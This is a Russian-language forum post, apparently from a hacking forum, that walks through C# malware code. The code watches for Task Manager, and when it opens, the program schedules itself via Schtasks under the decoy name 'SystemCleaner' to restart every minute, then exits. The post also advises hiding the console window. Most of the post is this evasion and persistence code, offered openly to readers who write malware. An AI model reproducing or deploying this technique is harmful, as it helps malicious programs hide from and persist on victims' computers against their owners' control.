Загрузка...

Перезапуск приложения без подпрограмм (Self post restart) C#

Тема в разделе C# создана пользователем 0Memory 29 июн 2018. 335 просмотров

  1. 0Memory
    0Memory Автор темы 29 июн 2018 NullException 3 29 июн 2018
    Сразу проясню: для людей, которые хорошо знают C# и не в первый раз пишут мальварь - советую пропустить данную статью.

    Приступим.

    Создал три объекта в теле класса Program:
    Код

    static string[] processes = { "Taskmgr" };
    static int time_s = 1;
    static string name_s = "SystemCleaner";
    Массив строк (processes) - название процессов (чувствительно к регистру).
    Integer (time_s) - время в минутах до перезапуска процесса (целое число).
    Строка (name_s) - имя, под которой задача будет создана в планировщике заданий.

    Далее создал асинхронный зацикленный процесс проверки с паузой, чтобы не грузило CPU:
    Код

    static async void HiddenWork()
    {
    while (true)
    {
    if (!Check())
    PostRun(true);
    await Task.Delay(100);
    }
    }

    Пишем метод Check (проверка процессов):
    Код

    static bool Check()
    {
    try
    {
    int i = 0;
    foreach (Process proc in Process.GetProcesses())
    {
    foreach (string str in processes)
    {
    if (proc.ProcessName == str)
    i++;
    }
    }
    if (i > 0) return false;
    else return true;
    }
    catch (Exception) { }
    return true;
    }

    Метод PostRun (отложенный запуск):
    Код

    static void PostRun(bool mode)
    {
    string args;

    if (mode)
    args = $"/create /tn {name_s} /tr {Process.GetCurrentProcess().MainModule.FileName} /sc minute /mo {time_s}";
    else
    args = $"/delete /tn {name_s} /f";

    ProcessStartInfo pi = new ProcessStartInfo("Schtasks.exe")
    {
    Arguments = args,
    CreateNoWindow = true,
    UseShellExecute = true
    };
    Process task = new Process() { StartInfo = pi };
    task.Start();

    if(mode)
    Environment.Exit(0);
    }
    Для чего я передаю аргументы в этот метод? - Все просто, чтобы с помощью одного метода можно было как удалять задачу из планировщика, так и создавать ее, если я передаю значение true - задача создается, и наоборот. После запуска приложения вызывайте этот метод с аргументом false, чтобы удалить его.

    И да, кто не знал - чтобы не было окна консоли измените тип приложения с консольного на приложение Windows.

    Метод, конечно же, нуждается в доработке. Данный код был написан за 5 минут (да-да, оправдания ;D), это база для Ваших размышлений.

    Сурс полностью:
     
Загрузка...
Top